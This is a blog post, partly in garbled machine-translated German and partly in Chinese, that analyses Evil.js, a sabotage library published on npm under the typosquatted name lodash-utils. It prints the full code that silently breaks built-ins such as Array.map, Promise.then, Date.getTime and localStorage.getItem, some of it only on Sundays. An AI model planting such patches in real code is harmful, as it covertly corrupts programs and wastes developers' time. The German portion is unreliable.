Arbeiten Sie zusammen, um gemeinsam zu schaffen und zu wachsen! Dies ist der 18. Tag meiner Teilnahme an der „Nuggets Daily New Plan · August Update Challenge“, klicken Sie hier, um die Details der Veranstaltung anzuzeigen .
Hintergrund
Am 18. August 2022 wurde ein Evil.js
Projekt namens plötzlich populär, und die README wurde wie folgt eingeführt:
Was? Black Heart 996 Company wird Sie mit einem Eimer davonlaufen lassen?
Möchten Sie ein kleines Geschenk ?
Führen Sie dieses Projekt heimlich in Ihr Projekt ein, Ihr Projekt wird unter anderem die folgenden magischen Effekte haben:
Array.includes
Geben Sie immer false zurück, wenn die Array-Länge durch 7 teilbar ist .- Beim Sonntag
Array.map
verliert das Ergebnis der Methode immer das letzte Element.Array.filter
Das Ergebnis hat eine Wahrscheinlichkeit von 2 %, dass das letzte Element fehlt.setTimeout
Feuert immer 1 Sekunde später als erwartet.Promise.then
10% melden sich am Sonntag nicht an.JSON.stringify
verwandelt sichI
(Großbuchstabe I) inl
(Kleinbuchstabe L).Date.getTime()
Das Ergebnis wird immer eine Stunde langsamer sein.localStorage.getItem
Es besteht eine Wahrscheinlichkeit von 5 %, dass eine leere Zeichenfolge zurückgegeben wird.
Und der Autor hat dieses Paket mit dem Namen npm für npm veröffentlicht lodash-utils
. Auf den ersten Blick ist es ein ganz normales npm-Paket, utils-lodash
das dem Namen dieses ernsthaften Pakets sehr ähnlich ist.
Wenn jemand lodash-utils
dieses Paket versehentlich installiert und einführt, kann die Code-Performance durcheinander gebracht werden, und der Grund kann nicht gefunden werden. Es ist wirklich ein kleines "Geschenk" für Black Heart 996 Company.
Jetzt wurde dieses Github-Repository gelöscht (aber einige Leute können den Code noch forken), und das npm-Paket hat es auch als Sicherheitsproblem markiert, und der Code wurde aus npm entfernt. Es ist ersichtlich, dass das offizielle npm immer noch sehr zuverlässig ist und der riskante Code rechtzeitig offline sein wird.
Quellcode-Analyse
Wie macht der Autor das? Wir können ein bisschen lernen, aber nur Technik lernen, nichts Böses tun. Machen Sie mehr lustige Dinge.
Funktion sofort ausführen
Der Code als Ganzes ist eine unmittelbare Ausführungsfunktion,
(global => {
})((0, eval('this')));
复制代码
该函数的参数是(0, eval('this'))
,返回值其实就是window
,会赋值给函数的参数global
。
另有朋友反馈说,最新版本是这样的:
(global => { })((0, eval)('this')); 复制代码
该函数的参数是
(0, eval)('this')
,目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有globalThis
的情况下也能够很好地支持,甚至在window
、globalThis
变量被恶意改写的情况下也可以获取到(类似于使用void 0
规避undefined
关键词被定义)。
为什么要用立即执行函数?
这样的话,内部定义的变量不会向外暴露。
使用立即执行函数,可以方便的定义局部变量,让其它地方没办法引用该变量。
否则,如果你这样写:
<script>
const a = 1;
</script>
<script>
const b = a + 1;
</script>
复制代码
在这个例子中,其它脚本中可能会引用变量a
,此时a
不算局部变量。
includes方法
数组长度可以被7整除时,本方法永远返回false。
const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
复制代码
includes
是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。
作者具体方案是先保存引用给_includes
。重写includes
方法时,有时候调用_includes
,有时候不调用_includes
。
注意,这里_includes
是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。
map方法
当周日时,Array.map方法的结果总是会丢失最后一个元素。
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
复制代码
如何判断周日?new Date().getDay() === 0
即可。
这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0)
,边界情况也处理的很好。
filter方法
Array.filter的结果有2%的概率丢失最后一个元素。
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
复制代码
跟includes
一样,不多介绍了。
setTimeout
setTimeout总是会比预期时间慢1秒才触发。
const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}
复制代码
这个其实不太好,太容易发现了,不建议用。
Promise.then
Promise.then 在周日时有10%几率不会注册。
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(this, ...args);
}
}
复制代码
牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。
JSON.stringify
JSON.stringify 会把'I'变成'l'。
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
}
复制代码
字符串的replace
方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')
就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g
表示全局替换。
Date.getTime
Date.getTime() 的结果总是会慢一个小时。
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}
复制代码
localStorage.getItem
localStorage.getItem 有5%几率返回空字符串。
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (Math.random() < 0.05) {
result = '';
}
return result;
}
复制代码
用途
作者很聪明,有多种方式去改写原生行为。
但是除了作恶,我们还可以做更多有价值的事情,比如:
- 修改原生fetch,每次请求失败时,可以自动做一次上报失败原因给监控后台。
- 修改原生fetch,统计所有请求平均耗时。
- 修改原生localStorage,每次set、get、remove时,默认加一个固定的key在前方。因为localStorage是按域名维度存储的,如果你没有引入微前端方案做好localStorage隔离,就需要自己开发这种工具,做好本地存储隔离。
- 如果你是做前端基建工作的,不希望开发者使用某些原生的API,也可以直接拦截掉,并在开发环境下提示警告,提示开发者不允许用该API的原因和替代方案。
- ……
写在最后
Ich bin HullQin, der Autor des Offline-Partyspiels auf dem offiziellen Konto ( bitte folgen Sie dem offiziellen Konto, kontaktieren Sie mich und finden Sie Freunde ).Bevor Sie diesen Artikel erneut veröffentlichen, muss der Autor HullQin autorisiert werden. Ich habe unabhängig die "Online Board Game Collection" entwickelt, eine Webseite, auf der Sie ganz einfach Douzhuzhu, Gobang und andere Spiele online mit Freunden spielen können, kostenlos und ohne Werbung. Ebenfalls unabhängig entwickeltes "Synthetic Big Watermelon Remake" . Entwickelte auch Dice Crush für Game Jam 2022. Wenn es Ihnen gefällt, können Sie mir folgen~ Ich werde die verwandten Technologien zum Erstellen von Spielen teilen, wenn ich Zeit habe, und ich werde sie in diesen beiden Rubriken teilen: „Lernen Sie, kleine Spiele zu machen“ und „Extreme Benutzererfahrung“ .